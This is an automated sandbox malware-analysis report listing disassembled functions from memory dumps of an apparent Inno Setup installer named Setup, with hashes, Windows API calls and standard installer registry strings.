Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02857f7856dacbf7de50f48d66221ea3b217e52ba00610d7a1f2b2f17cd52e88
Instruction ID: e16a2991ba1d7ee07873fb22b54ca1d03873bf4b7e2015b62b7cd1dc38e3df9f
Opcode Fuzzy Hash: 02857f7856dacbf7de50f48d66221ea3b217e52ba00610d7a1f2b2f17cd52e88
Instruction Fuzzy Hash: D701AD6450C3818BC316CF2A809013AFBF0AF9B249F08D8D8E4D29B212E3399955CB26

Function 03182169 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b29184277f53a4dd92d6a3739f1fac724f941a04b9431806fe4f0ca2b26050
Instruction ID: 710ae604e477ff3392766d4cb0384faaf18e51049ba7919cffc2b55739ec53f7
Opcode Fuzzy Hash: f5b29184277f53a4dd92d6a3739f1fac724f941a04b9431806fe4f0ca2b26050
Instruction Fuzzy Hash: 95112EB4C01244AB8B54FFBAED4709E7E36EB8A210F15462AF85477248D331451A8BE7

Function 0316A251 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867716a56c5ddbd2339e452c325c2570f5d209fc07af71fc2af4bf56226273a1
Instruction ID: 5d1521829214115f0b72149f094d9192dc3e2a7fde95c317a0e543a647bb5af1
Opcode Fuzzy Hash: 867716a56c5ddbd2339e452c325c2570f5d209fc07af71fc2af4bf56226273a1
Instruction Fuzzy Hash: 7CF02BF49002009FDA18DF649890436B3A6FF9E315F49992CE142630A0D331AC668A09

Function 031503E4 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0456bf1ec266ed6600d3704076b4c01ba8b36363b32de00f05b1f8b2243114ca
Instruction ID: f669a6674b9d5a1e1a3dc37d590240cd4e825508dda980b6ba9108dbf5a7ffcb
Opcode Fuzzy Hash: 0456bf1ec266ed6600d3704076b4c01ba8b36363b32de00f05b1f8b2243114ca
Instruction Fuzzy Hash: A9F0123E59874087C278EB24CA609FDB371AFE931AFD7642CC48A17150DF31694ACE55

Function 0316A2DA Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 765806fde20d8dcc7fcfe6c8729d71e89f661a911a86bf786ca863ebb5393a0e
Instruction ID: 840af616ca930632a7a3795a53fc75c136f505a050418b2b04006e5c48c162d5
Opcode Fuzzy Hash: 765806fde20d8dcc7fcfe6c8729d71e89f661a911a86bf786ca863ebb5393a0e
Instruction Fuzzy Hash: 2EF05EB5908301DFC714CF69D89042AB3E5FF8A301F49A828A48593160D730E8559B0A

Function 031836CA Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aa58c32fd690b776d74c4e1317dc42f764286d9f7f2d00c556c5013b3098f9a
Instruction ID: 4068c05f1bc1632b1bd73f287f81c4aad700a7e33ddbb482a7b2bd6d284e913d
Opcode Fuzzy Hash: 6aa58c32fd690b776d74c4e1317dc42f764286d9f7f2d00c556c5013b3098f9a
Instruction Fuzzy Hash: 04E0E5749082408BE712AF2CD06536BFBE4AB86310F949D5CD4D48B292D3BA94698F46

Function 0316B099 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d4475b23516832be138171ae162e5f203d8e09132b8bb9a7d75c8523c0a536
Instruction ID: d4f528fc4967c8354879cef23dc7c30afd877e23c43755ab331aa334ec4c7df7
Opcode Fuzzy Hash: 57d4475b23516832be138171ae162e5f203d8e09132b8bb9a7d75c8523c0a536
Instruction Fuzzy Hash: EDD05B1594CD52C7861DCE8645643B0DD73DFC7240B3DD785CCB5A7646C7139C934A58

Function 0316124A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: d5716b32091cad759a2c722ba9cce24973a93b1859f1b6345257f72d64ed750d
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 4CD0A76164C7B11F5758CE7404E0477FBF4E98F612B2C54AEE4D7E3155D320D81246A8

Function 00471C14 Relevance: 72.2, APIs: 1, Strings: 40, Instructions: 488registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00471A00: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,004787BF,?,0049F1C8,?,00471D17,?,00000000,00472284,?,_is1), ref: 00471A23

RegCloseKey.ADVAPI32(?,0047228B,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,004722D6,?,?,0049F1C8,00000000), ref: 0047227E

Strings

ModifyPath, xrefs: 004720C8
Inno Setup: Deselected Components, xrefs: 00471E03
Inno Setup: Deselected Tasks, xrefs: 00471E4A
URLUpdateInfo, xrefs: 00472051
Inno Setup: App Path, xrefs: 00471D3A
Comments, xrefs: 004720A8
Readme, xrefs: 0047206E
URLInfoAbout, xrefs: 00471FFA
EstimatedSize, xrefs: 004721FB
Inno Setup: Selected Tasks, xrefs: 00471E2B
UninstallString, xrefs: 00471F69
RegisterPreviousData, xrefs: 00472234
HelpTelephone, xrefs: 00472017
Inno Setup: Icon Group, xrefs: 00471D69
MajorVersion, xrefs: 0047213B
Inno Setup: Selected Components, xrefs: 00471DE4
Inno Setup: User Info: Name, xrefs: 00471E62
NoModify, xrefs: 004720DC
HelpLink, xrefs: 00472034
InstallDate, xrefs: 0047210F
DisplayIcon, xrefs: 00471F2F
DisplayName, xrefs: 00471F12
DisplayVersion, xrefs: 00471FC0
Inno Setup: No Icons, xrefs: 00471D87
NoRepair, xrefs: 004720F0
_is1, xrefs: 00471C70
Inno Setup: User Info: Serial, xrefs: 00471E8C
Contact, xrefs: 0047208B
MinorVersion, xrefs: 0047214D
InstallLocation, xrefs: 00471D5A
Inno Setup: Setup Type, xrefs: 00471DC5
Inno Setup: Language, xrefs: 00471EB3
Inno Setup: User, xrefs: 00471DA6
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 00471C6A
5.4.2 (a), xrefs: 00471D0A
Inno Setup: Setup Version, xrefs: 00471D05
Publisher, xrefs: 00471FDD
QuietUninstallString, xrefs: 00471FA3
Inno Setup: User Info: Organization, xrefs: 00471E77
" /SILENT, xrefs: 00471F96

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseValue
String ID: " /SILENT$5.4.2 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3132538880-2304794843
Opcode ID: 5be7af182751627215dd604f04e454e474d48ed51b8f866c4a171f8850f43f71
Instruction ID: fc03fa8db04208b19f7cb13bf966a9a74c11988ab9fa5b4792d82c4773e0f419
Opcode Fuzzy Hash: 5be7af182751627215dd604f04e454e474d48ed51b8f866c4a171f8850f43f71
Instruction Fuzzy Hash: CC124630A001089FDB04DB99D991ADE77F5EB48304F60C57BE809AB3A5DB78AD45CB5C

Function 00494C48 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,00000000,0049513D,?,?,?,?,00000000,00000000,00000000), ref: 00494C88
FindWindowA.USER32(00000000,00000000), ref: 00494CB9

Strings

SLEEP, xrefs: 00494C72
LOADDLL, xrefs: 00494F4B
SENDBROADCASTNOTIFYMESSAGE, xrefs: 00494EF7
SENDMESSAGE, xrefs: 00494D0D
CHARTOOEMBUFF, xrefs: 004950DE
CREATEMUTEX, xrefs: 00495069
POSTMESSAGE, xrefs: 00494D63
CALLDLLPROC, xrefs: 00494FAD
SENDBROADCASTMESSAGE, xrefs: 00494E55
FREEDLL, xrefs: 00495034
FINDWINDOWBYCLASSNAME, xrefs: 00494C95
OEMTOCHARBUFF, xrefs: 0049509B
FINDWINDOWBYWINDOWNAME, xrefs: 00494CD1
POSTBROADCASTMESSAGE, xrefs: 00494EA3
SENDNOTIFYMESSAGE, xrefs: 00494DBF
REGISTERWINDOWMESSAGE, xrefs: 00494E1B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: 30f44d407bc979cf6578be0986bd1d5d296cd8c1566518990cbeb161fa224c9e
Instruction ID: 2e1ea31e6ea28cfce2259667fdb45036b54311180462a1adc0d40ea5ae89ffe0
Opcode Fuzzy Hash: 30f44d407bc979cf6578be0986bd1d5d296cd8c1566518990cbeb161fa224c9e
Instruction Fuzzy Hash: ADC1A560B00A105BDB15BF3E9D82A1E5A9A9F85704B21D93FF086DB38ACD3CDC06475E

Function 0041F098 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00418F80,00000000,?,?,?,00000001), ref: 0041F0A6
SetErrorMode.KERNEL32(00008000,?,00418F80,00000000,?,?,?,00000001), ref: 0041F0C2
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418F80,00000000,?,?,?,00000001), ref: 0041F0CE
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418F80,00000000,?,?,?,00000001), ref: 0041F0DC
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F10C
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F135
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F14A
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F15F
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F174
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F189
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F19E
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F1B3
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F1C8
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F1DD
FreeLibrary.KERNEL32(00000001,?,00418F80,00000000,?,?,?,00000001), ref: 0041F1EF

Strings

Ctl3dSubclassDlgEx, xrefs: 0041F154
CTL3D32.DLL, xrefs: 0041F0C9
Ctl3dUnregister, xrefs: 0041F12A
Ctl3DColorChange, xrefs: 0041F1BD
Ctl3dAutoSubclass, xrefs: 0041F193
Ctl3dUnAutoSubclass, xrefs: 0041F1A8
Ctl3dRegister, xrefs: 0041F101
Ctl3dCtlColorEx, xrefs: 0041F17E
BtnWndProc3d, xrefs: 0041F1D2
Ctl3dDlgFramePaint, xrefs: 0041F169
Ctl3dSubclassCtl, xrefs: 0041F13F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: 05fc55b7a8d3f24e40559ab14f6e38d100627472821c141bbac7b2759f085aae
Instruction ID: f80ea9a95063a00157441902d5bdbde09abd1a261eda3cbc3a23c731a7a7d8d8
Opcode Fuzzy Hash: 05fc55b7a8d3f24e40559ab14f6e38d100627472821c141bbac7b2759f085aae
Instruction Fuzzy Hash: FF313EB1A40610BFD700EBB5EC86A653394B36C714791497BF408DB2A2D77D6896CF1C

Function 0045AB7C Relevance: 38.7, APIs: 11, Strings: 11, Instructions: 237filesynchronizationprocessCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(0049CB64,00000001,00000000,00000000,0045AEB1,?,?,?,00000001,?,0045B0B7,00000000,0045B0CD,?,00000000,0049E624), ref: 0045ABC9
CreateFileMappingA.KERNEL32(000000FF,0049CB64,00000004,00000000,00002018,00000000), ref: 0045AC01
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00002018,00000000,0045AE87,?,0049CB64,00000001,00000000,00000000,0045AEB1,?,?,?), ref: 0045AC28
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AD35
ReleaseMutex.KERNEL32(00000000,00000000,00000002,00000000,00000000,00002018,00000000,0045AE87,?,0049CB64,00000001,00000000,00000000,0045AEB1), ref: 0045AC8D

Part of subcall function 00456068: GetLastError.KERNEL32(00000000,00456AD9,00000005,00000000,00456B0E,?,?,00000000,0049E624,00000004,00000000,00000000,00000000,?,0049B049,00000000), ref: 0045606B

CloseHandle.KERNEL32(0045B0B7,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AD4C
WaitForSingleObject.KERNEL32(00000000,000000FF,0045B0B7,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AD85
GetLastError.KERNEL32(00000000,000000FF,0045B0B7,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AD97
UnmapViewOfFile.KERNEL32(00000000,0045AE8E,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AE69
CloseHandle.KERNEL32(00000000,0045AE8E,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AE78
CloseHandle.KERNEL32(00000000,0045AE8E,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045AE81

Strings

D, xrefs: 0045ACF6
ReleaseMutex, xrefs: 0045AC96
CreateProcess, xrefs: 0045AD3E
OleInitialize, xrefs: 0045ADD1
LoadLibrary, xrefs: 0045ADE3
MapViewOfFile, xrefs: 0045AC36
_RegDLL.tmp %u %u, xrefs: 0045ACDD
CreateFileMapping, xrefs: 0045AC0F
GetProcAddress, xrefs: 0045ADF5
CreateMutex, xrefs: 0045ABD7
_isetup\_RegDLL.tmp, xrefs: 0045ACB3

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateFileHandle$ErrorLastMutexView$MappingObjectProcessReleaseSingleUnmapWait
String ID: CreateFileMapping$CreateMutex$CreateProcess$D$GetProcAddress$LoadLibrary$MapViewOfFile$OleInitialize$ReleaseMutex$_RegDLL.tmp %u %u$_isetup\_RegDLL.tmp
API String ID: 4012871263-4166201014
Opcode ID: 775b3f39c7ea5b2683a68e67cb18fc6aa3d7f0921e71d7173828b58569599d0d
Instruction ID: 38a481ba4dd41a3d0ba00fc4db427c5047f2af12a0cc099e4c7e4e9e2b38f93b
Opcode Fuzzy Hash: 775b3f39c7ea5b2683a68e67cb18fc6aa3d7f0921e71d7173828b58569599d0d
Instruction Fuzzy Hash: AC918670A002059FDB10EBA9C842B9EB7B4FB08705F50856BE814FB382D7789948CF5A

Function 0041C98C Relevance: 33.2, APIs: 22, Instructions: 213windowCOMMON

Download Yara Rule

APIs

73E9A570.USER32(00000000,?,0041A8D4,?), ref: 0041C9C0
73EA4C40.GDI32(?,00000000,?,0041A8D4,?), ref: 0041C9CC
73EA6180.GDI32(0041A8D4,?,00000001,00000001,00000000,00000000,0041CBE2,?,?,00000000,?,0041A8D4,?), ref: 0041C9F0
73EA4C00.GDI32(?,0041A8D4,?,00000000,0041CBE2,?,?,00000000,?,0041A8D4,?), ref: 0041CA00
SelectObject.GDI32(0041CDBC,00000000), ref: 0041CA1B
FillRect.USER32(0041CDBC,?,?), ref: 0041CA56
SetTextColor.GDI32(0041CDBC,00000000), ref: 0041CA6B
SetBkColor.GDI32(0041CDBC,00000000), ref: 0041CA82
PatBlt.GDI32(0041CDBC,00000000,00000000,0041A8D4,?,00FF0062), ref: 0041CA98
73EA4C40.GDI32(?,00000000,0041CB9B,?,0041CDBC,00000000,?,0041A8D4,?,00000000,0041CBE2,?,?,00000000,?,0041A8D4), ref: 0041CAAB
SelectObject.GDI32(00000000,00000000), ref: 0041CADC
73E98830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CB8A,?,?,00000000,0041CB9B,?,0041CDBC,00000000,?,0041A8D4), ref: 0041CAF4
73E922A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB8A,?,?,00000000,0041CB9B,?,0041CDBC,00000000,?), ref: 0041CAFD
73E98830.GDI32(0041CDBC,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB8A,?,?,00000000,0041CB9B), ref: 0041CB0C
73E922A0.GDI32(0041CDBC,0041CDBC,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB8A,?,?,00000000,0041CB9B), ref: 0041CB15
SetTextColor.GDI32(00000000,00000000), ref: 0041CB2E
SetBkColor.GDI32(00000000,00000000), ref: 0041CB45
73EA4D40.GDI32(0041CDBC,00000000,00000000,0041A8D4,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CB8A,?,?,00000000), ref: 0041CB61
SelectObject.GDI32(00000000,?), ref: 0041CB6E
DeleteDC.GDI32(00000000), ref: 0041CB84

Part of subcall function 00419FE8: GetSysColor.USER32(?), ref: 00419FF2

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$ObjectSelect$E922E98830Text$A570A6180DeleteFillRect
String ID:
API String ID: 1952589944-0
Opcode ID: 4b3530b01d1e9e5c9b2053f5c2c123fc1b39d69c87af845357b4ad5eb9593e27
Instruction ID: 1ad57a4b94fa51e29473e774268494815b885ef880c95f653f9cb78cf683c9a4
Opcode Fuzzy Hash: 4b3530b01d1e9e5c9b2053f5c2c123fc1b39d69c87af845357b4ad5eb9593e27
Instruction Fuzzy Hash: 8E61E071A44609AFDF10EBE5DC86FEFB7B8EB08704F11446AB504F7281C67CA9418B69

Function 0042DE70 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178memorylibraryloaderCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(0049C784,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEAA
GetVersion.KERNEL32(00000000,0042E054,?,0049C784,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEC7
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E054,?,0049C784,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEE0
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DEE6
FreeSid.ADVAPI32(00000000,0042E05B,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E04E

Strings

advapi32.dll, xrefs: 0042DEDB
CheckTokenMembership, xrefs: 0042DED6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressAllocateFreeHandleInitializeModuleProcVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 1717332306-1888249752
Opcode ID: 7659fbe21aee75414bb0ba280d13e50c0694fff36fc362c836711cb5b8ef608a
Instruction ID: d7b9ad5623faba4542ba8b3107cefc8ccbfb613331170befd99fca64ddab9079
Opcode Fuzzy Hash: 7659fbe21aee75414bb0ba280d13e50c0694fff36fc362c836711cb5b8ef608a
Instruction Fuzzy Hash: 31518971B04625AAEB10EAE6DC42BBF77ACDB09304F900477F505E72C1D9BD99018A69

Function 0049B074 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,0049B40C,?,?,00000000,?,00000000,00000000,?,0049B7B7,00000000,0049B7C1,?,00000000), ref: 0049B0F7
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0049B40C,?,?,00000000,?,00000000,00000000,?,0049B7B7,00000000), ref: 0049B10A
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0049B40C,?,?,00000000,?,00000000,00000000), ref: 0049B11A
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 0049B13B
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0049B40C,?,?,00000000,?,00000000), ref: 0049B14B

Part of subcall function 0042D2C4: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D352,?,?,?,00000001,?,00458B1A,00000000,00458B82), ref: 0042D2F9

Strings

.msg, xrefs: 0049B16E
Setup, xrefs: 0049B0E3
/REGU, xrefs: 0049B0CD
04E, xrefs: 0049B1E8
Inno-Setup-RegSvr-Mutex, xrefs: 0049B101
/REG, xrefs: 0049B0A9
.lst, xrefs: 0049B188

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$04E$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-1015170999
Opcode ID: fc5f17ec6ea094c427488c30d20e93e70148150aadfc172cd162f42673153fac
Instruction ID: fa769aaea4033dd2dcd022eb50d6714ea778d1a2157ffa79e4a1171b0e9c5e60
Opcode Fuzzy Hash: fc5f17ec6ea094c427488c30d20e93e70148150aadfc172cd162f42673153fac
Instruction Fuzzy Hash: CD91C530A042449FDF11EBA5E956BAF7BA5EB49304F5144B7F800AB2D2D73CAC05CB99

Function 0046B858 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(?,0046BA72,?,?,00000001,00000000,00000000,0046BA8D,?,00000000,00000000,?), ref: 0046BA5B

Strings

Inno Setup: Selected Tasks, xrefs: 0046B9C7
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0046B8B7
Inno Setup: Setup Type, xrefs: 0046B96A
Inno Setup: Selected Components, xrefs: 0046B97A
Inno Setup: User Info: Name, xrefs: 0046BA17
Inno Setup: No Icons, xrefs: 0046B943
Inno Setup: Deselected Tasks, xrefs: 0046B9E9
Inno Setup: Deselected Components, xrefs: 0046B99C
Inno Setup: User Info: Serial, xrefs: 0046BA3D
Inno Setup: Icon Group, xrefs: 0046B936
